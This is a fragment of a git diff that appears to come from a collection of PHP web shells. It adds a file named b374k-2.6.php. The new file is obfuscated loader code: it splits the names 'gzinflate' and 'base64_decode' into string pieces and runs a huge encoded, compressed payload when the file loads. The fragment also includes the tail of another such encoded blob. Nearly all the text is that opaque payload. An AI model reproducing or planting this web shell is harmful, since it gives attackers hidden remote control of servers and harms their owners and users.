QoZbbwbqG6DyrJiLXIxcf6JVSSI1A9g9QE24aX5bR5taS4Xy6wpzlpt2c90RcDE6AjvjxtAwKke8E+aFu/W2SQJ9Q56vpkm4gg6P22hCaEb77X9//iPxOZh/I7wBLcvAVdG9efS4O10dicjhgTsIT2hTyTxC74yMqMM16Cm66IDvED4GXRQuAO/gXC8RXaigqxakJL3dajR8pnVLj/hQpAf1noZFxNGrPgoGlHI/PXVL4dslcDb5rxT642mUcOGHCFw6Cf/D8zgEAqYM4M5l8uwLr4GDebgKsTy72C4MeBH6BbpnJX8lepU7qDKlt1gDEN/AV4gpGehaMD549Rt7D8ueiy2w6N/sY29FznpTPl5/+3MGDY+AgMILpaja8Q4JAIzNqO5EdByG6D7fJVy4xN3Hu0tbICJCsUspwHwk3CHqIvoLIQpoYShAijVoEoxH/H2m6gJ2Nei4F/Pr74VQaJJ+vDvePXr5yM68MndfwciA0ej6Xw21iiCrzFmaqVq0gEn/R9vhakU9vm7X9MuGu7dG/tpBGh5ygDgd0h4BdnRnzDtWI9zbYgS6K4hPaRgRTlOxXz///wE=",$s_pass);?> \ No newline at end of file diff --git a/php/b374k/b374k-2.6.php b/php/b374k/b374k-2.6.php new file mode 100644 index 0000000..e7f16c8 --- /dev/null +++ b/php/b374k/b374k-2.6.php @@ -0,0 +1,10 @@ +".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k("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